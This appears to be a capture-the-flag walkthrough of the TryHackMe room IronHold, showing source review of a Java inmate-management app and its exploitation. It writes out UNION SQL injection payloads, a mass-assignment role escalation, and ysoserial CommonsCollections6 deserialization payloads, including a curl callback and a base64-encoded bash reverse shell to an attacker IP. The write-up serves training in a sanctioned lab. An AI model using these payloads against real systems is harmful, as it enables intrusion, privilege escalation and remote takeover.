> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2026/ironhold.md).

# IronHold

{% embed url="<https://tryhackme.com/room/ironhold>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

IronHold is retiring its inmate-management platform. Somewhere in the handover, a developer pushed the complete repository to a public mirror and then left the company. Facility security wants a straight answer before the system goes dark for good: if that repository is out there, how far could someone actually get?

We start with nothing but what leaked: the full, unredacted source, and a live copy of the application still running on the network. No credentials, no map, no walkthrough. The code tells us what the developers got wrong; the running instance tells us if we're right.

Get all four and Ironhold's last system goes down the same way it went up: on its own mistakes.\
Download the source archive attached to this task and start reading. The lab machine is reachable at `http://<IP>:8080`.

## Summary

<details>

<summary>Summary</summary>

In IronHold, we start with a leaked source repository and a live instance on port `8080`. A source code review revealed that `DataAccessConfig.java` exposes hardcoded database credentials, `DataSeeder.java` seeds four staff accounts and hints that a flag sits in case file `IA-2024-007`, and controller review turns up three flaws: string-concatenated SQL in `InmateController.search()`, a mass-assignment vulnerability in `ProfileController.update()` that lets any user set their own role, and unsafe `ObjectInputStream.readObject()`deserialization in `ImportExportController.importData()`.

Logging in with a seeded account gets us the first flag on the dashboard. A UNION-based SQL injection against the search endpoint enumerates `information_schema.tables` and pulls the `case_files` record for `IA-2024-007`, yielding the second flag. Abusing the mass-assignment flaw by ntercepting a profile update and adding `role=warden`, promotes us to `warden` and unlocks the third flag at `/admin/control`. Finally we send a serialized batch to `/admin/import` using ysoserial `CommonsCollections6`, confirm code execution via a curl callback, then land a base64-wrapped reverse shell as `appuser` to grab the final flag at `/opt/ironhold/flag.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.113.191.174 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

We confirm the service is running on port `8080`.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.113.191.174 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/Hh2l5wq7LeP1aXU76wck" alt=""><figcaption></figcaption></figure>

We visit the site and have a staff log in portal in front of us.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/
```

{% endcode %}

<figure><img src="/files/UdqCj8h6w3cZ3N2V1sSE" alt=""><figcaption></figcaption></figure>

## Source Code Analysis

We'll continue with a source code analysis and take a look at each individual class, especially the controllers. We'll start with the configuration files. From `DataAccessConfig.java`, we can extract the database connection details and find hard-coded credentials for the database user; we can also see that an H2 database is being used.

{% code overflow="wrap" expandable="true" %}

```
config/DataAccessConfig.java
```

{% endcode %}

<figure><img src="/files/xp2i75lZvv1CXepgqL4A" alt=""><figcaption></figcaption></figure>

The `DataSeeder.java` file is particularly interesting. It populates the app initially. From this file, we can extract, among other things, the default credentials for four users.

{% code overflow="wrap" expandable="true" %}

```
seed/DataSeeder.java
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
j.reyes
m.chen
a.osei
l.bianchi
```

{% endcode %}

<figure><img src="/files/CkzhS7W0cX9PS6R7rx7F" alt=""><figcaption></figcaption></figure>

We also see that the second flag is located in case file with the `case_number`  `IA-2024-007.`

<figure><img src="/files/HxaPwHOcsV0i3qES8Sus" alt=""><figcaption></figcaption></figure>

There is an SQL injection vulnerability in the  `InmateController.search()` method.

The `search` endpoint builds its query by directly concatenating the unsanitized `q` request parameter into a SQL string, rather than binding it as a parameter. Because `q` is inserted inline inside the string literal rather than passed as a bind variable, any single quote or SQL syntax the user supplies is parsed as part of the query itself rather than as literal data.

{% code overflow="wrap" expandable="true" %}

```
controller/InmateController.java
```

{% endcode %}

<figure><img src="/files/cX4FTrNV2PelAAYCGNQo" alt=""><figcaption></figcaption></figure>

The `POST /profile/update` binds the request body directly onto the `Staff` object via `@ModelAttribute`, and the handler copies `role` from that binding onto the current user's own record with no authorization check. Any authenticated staff member can therefore submit `role=WARDEN` in the POST body and grant themselves that privilege level.

{% code overflow="wrap" expandable="true" %}

```
controller/ProfileController.java
```

{% endcode %}

<figure><img src="/files/fFPlA0QOTWX5LL3yQnHA" alt=""><figcaption></figcaption></figure>

Furthermore there is an insecure deserialization on `ImportExportController.importData()`.

The `POST /admin/import` endpoint receives and base64-decodes the raw request body and passes it directly to `ObjectInputStream.readObject()`with no type filtering, and the classpath includes `commons-collections 3.2.1`, a version with a publicly known exploitable gadget chain. This gives an unauthenticated user a path to remote code execution.

```java
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decoded));
Object restored = ois.readObject();
```

{% code overflow="wrap" expandable="true" %}

```
controller/ImportExportController.java
```

{% endcode %}

<figure><img src="/files/gJyFl0PUcFHK6D95zyVS" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
pom.xml
```

{% endcode %}

<figure><img src="/files/w5xGgcbV7KfVZnp6WCtA" alt=""><figcaption></figcaption></figure>

Our attack path, as identified through source code analysis, is as follows. We first attempt to gain access to the internal dashboard using hard-coded credentials found and then escalate our privileges by exploiting the mass assignment vulnerability via the profile update. From there, we should be able to access the admin functions, which we will then use to achieve remote code execution by exploiting the insecure deserialization vulnerability via the import feature.

Once we have access as any user, we try to leverage the SQL injection vulnerability in the inmate search to retrieve the hidden case file.

## Access as j.reyes

We use the hard coded credentials we found from `seed/DataSeeder.java` and login.&#x20;

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/
```

{% endcode %}

<figure><img src="/files/70PpFPzex4PFCTPtBBFE" alt=""><figcaption></figcaption></figure>

We are being redirected to the dashboard and get the first flag.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/dashboard
```

{% endcode %}

<figure><img src="/files/xf1Fxn5IMsp7nHlkXOMU" alt=""><figcaption></figcaption></figure>

With authentication we are able to visit the `inmates` endpoint and have access to the search functionlity which we discoverd to be vulnerable to SQL injeciton.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/inmates
```

{% endcode %}

<figure><img src="/files/57uW2O8B8OvLc5Pq4aaU" alt=""><figcaption></figcaption></figure>

We try a simple UNION injection and are successful.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/inmates/search?q=%27+UNION+SELECT+1%2C2%2C3+--+-
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1,2,3 -- -
```

{% endcode %}

<figure><img src="/files/vQDYHAwlP3mZO262y8Q4" alt=""><figcaption></figcaption></figure>

From there we query for the available tables.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/inmates/search?q=%27+UNION+SELECT+1%2C+table_name%2C3+FROM+information_schema.tables+--+-
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1, table_name,3 FROM information_schema.tables -- -
```

{% endcode %}

<figure><img src="/files/fbbp2GWbgdaAcMm9T2a1" alt=""><figcaption></figcaption></figure>

We recall the case number containing the second flag:

<figure><img src="/files/e322tbjAXD15DciHaz9z" alt=""><figcaption></figcaption></figure>

Next, we query for the summary of the case `7IA-2024-007` and retrieve the second flag.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/inmates/search?q=%27+UNION+SELECT+1%2C+summary%2C3+FROM+case_files+WHERE+case_files.case_number%3D%27IA-2024-007%27+--+-
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
' UNION SELECT 1, summary,3 FROM case_files WHERE case_files.case_number='IA-2024-007' -- -
```

{% endcode %}

<figure><img src="/files/lb5Dy1eSACWGBBxaKHR7" alt=""><figcaption></figcaption></figure>

## Access as Warden

Next, we head to the profile endpoint to update our profile and abuse the mass assignment vulnerability to escalate our privilges to become a `warden`.

<figure><img src="/files/88BOhOwpiWBgPNO3pTc5" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/profile
```

{% endcode %}

<figure><img src="/files/02lmYuI1cMW7hbpi24bH" alt=""><figcaption></figcaption></figure>

We catch an update request using Burp Suite and redirect the request to the repeater module.

<figure><img src="/files/3Fb5PcQC8xB6ctuyIiej" alt=""><figcaption></figcaption></figure>

We add the parameter `role=warden` and send the request.

<figure><img src="/files/P99fJVtwrHBJq6dFguU3" alt=""><figcaption></figcaption></figure>

We reload the page and see that we have become a `warden`.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/profile
```

{% endcode %}

<figure><img src="/files/CfEJCc4i3FDf1VzUzgKI" alt=""><figcaption></figcaption></figure>

If we access the admin control panel now, we can see that we have access to the third flag and can retrieve it.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/admin/control
```

{% endcode %}

<figure><img src="/files/XOxLpZTHx8UAT7XCLqa4" alt=""><figcaption></figcaption></figure>

## Shell as appuser

Next, we visit the import endpoint we identified to be vulnerable to insecure deserialization. From there we want to achive remote code execution.

{% code overflow="wrap" expandable="true" %}

```
http://ironhold.thm:8080/admin/import
```

{% endcode %}

<figure><img src="/files/lkDtYQR57RNH3GP9k5pH" alt=""><figcaption></figcaption></figure>

On the import page, we find the following note. This means we could start a bulk import directly using curl.

{% code overflow="wrap" expandable="true" %}

```
Batches are base64-encoded, serialised manifest objects, POSTed directly as the request body to this same URL.
```

{% endcode %}

But first we test the import with a simple cURL command. We will use the present serialized data from `/admin/export`.  That way we can make sure our curl command is working correctly.

First, we request the already serialized data from `/admin/export` and save the result to a variable.

{% code overflow="wrap" expandable="true" %}

```
PAYLOAD=$(curl http://ironhold.thm:8080/admin/export -H 'Cookie: JSESSIONID=E0DAED2C49E6BF24AF9DE804960CC781')
```

{% endcode %}

Next, we try to resend it and see that the Batch got accepted. Our request to import the data is working correctly.

{% code overflow="wrap" expandable="true" %}

```
curl -X POST --data-binary $PAYLOAD http://ironhold.thm:8080/admin/import -H 'Cookie: JSESSIONID=E0DAED2C49E6BF24AF9DE804960CC781' -H "Content-Type: text/plain"
```

{% endcode %}

<figure><img src="/files/X91wPHxOBWnwqWRvDy8a" alt=""><figcaption></figcaption></figure>

Next, we want to leverage ysoserial to get remote code execution. We prepare a docker container to launch the recent release of ysoserial to craft a payload.

{% embed url="<https://github.com/frohoff/ysoserial/tree/master>" %}

{% code title="dockerfile" overflow="wrap" expandable="true" %}

```docker
FROM eclipse-temurin:8-jre

WORKDIR /opt

RUN apt update && apt install -y wget

RUN wget -O ysoserial-all.jar \
https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

ENTRYPOINT ["java","-jar","ysoserial-all.jar"]
```

{% endcode %}

<figure><img src="/files/iDGtQTrY256rYoCDU9UJ" alt=""><figcaption></figcaption></figure>

From the `pom.xml` file, we saw that commons-collections is being used and that the import provides a sink for insecure deserialization.

First we want to simply try each CommonsCollections option with a simple payload to see if one of those options work. More complex commands need work arounds, but for now we just want to proof our remote code execution. For this we will try to connect to our web server with a simple curl command.

We spin up a python web server.

{% code overflow="wrap" expandable="true" %}

```
python -m http.server 8000
```

{% endcode %}

Prepare a payload with CommonsCollections6....

{% code overflow="wrap" expandable="true" %}

```
docker run --rm --platform linux/amd64 ysoserial-0xb0b:latest CommonsCollections6 "curl http://192.168.141.17:8000" | base64 > ../.exegol/workspaces/0xb0b/thm/ironhold/payload.b64
```

{% endcode %}

<figure><img src="/files/CB9m6QhWNp5wkTmI65J9" alt=""><figcaption></figcaption></figure>

... and import the data.

{% code overflow="wrap" expandable="true" %}

```
curl -X POST --data-binary @payload.b64 http://ironhold.thm:8080/admin/import -H 'Cookie: JSESSIONID=E0DAED2C49E6BF24AF9DE804960CC781' -H "Content-Type: text/plain" -v
```

{% endcode %}

<figure><img src="/files/p2oBjxn02EDWb61lnoQh" alt=""><figcaption></figcaption></figure>

We receive a connection back. The option CommonCollections6 is working and we can execute simple commands.

<figure><img src="/files/vwYy0QN8d25oU3diV2nz" alt=""><figcaption></figcaption></figure>

Now we want to get a reverse shell. For this we follow the following resource to execute more complex commands:

{% embed url="<https://jorgectf.gitbook.io/awae-oswe-preparation-resources/general/pocs/deserialization/java/ysoserial>" %}

> Regarding command execution payloads failure while providing `Runtime.getRuntime().exec()` multiple commands, we should be using this website for building our payload, which will be divided into different key-surrounded commands who are supported by bash

We do not need the website to craft a payload, but can be reached via the Wayback-Machine: <https://web.archive.org/web/20220126205656/https://www.jackson-t.ca/runtime-exec-payloads.html>

We'll adapt the following payload:

{% code overflow="wrap" expandable="true" %}

```
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
```

{% endcode %}

We prepare a reverse shell and encode it in base64 and replace it with the one from the resource.

{% code overflow="wrap" expandable="true" %}

```
echo "bash -i >& /dev/tcp/192.168.141.17/4445 0>&1" | base64
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xNy80NDQ1IDA+JjEK}|{base64,-d}|{bash,-i}
```

{% endcode %}

Next, we prepare and run the ysoserial command.

{% code overflow="wrap" expandable="true" %}

```
docker run --rm --platform linux/amd64 ysoserial-0xb0b:latest CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xNy80NDQ1IDA+JjEK}|{base64,-d}|{bash,-i}" | base64 > ../.exegol/workspaces/0xb0b/thm/ironhold/payload.b64
```

{% endcode %}

<figure><img src="/files/RaOluCgbcbxv506uyRWX" alt=""><figcaption></figcaption></figure>

We upload the resulting payload...

{% code overflow="wrap" expandable="true" %}

```
curl -X POST --data-binary @payload.b64 http://ironhold.thm:8080/admin/import -H 'Cookie: JSESSIONID=E0DAED2C49E6BF24AF9DE804960CC781' -H "Content-Type: text/plain" -v
```

{% endcode %}

<figure><img src="/files/baZdocwOrLKhZpGOWfjV" alt=""><figcaption></figcaption></figure>

... and receive a connection back. We are `appuser`.

<figure><img src="/files/X0FoyrPzVgvcZUUclEHt" alt=""><figcaption></figcaption></figure>

We find the final flag at `/opt/ironhold/flag.txt`.

{% code overflow="wrap" expandable="true" %}

```
cat /opt/ironhold/flag.txt
```

{% endcode %}

<figure><img src="/files/pKwTVSxxrhWbP7Msy1aA" alt=""><figcaption></figcaption></figure>
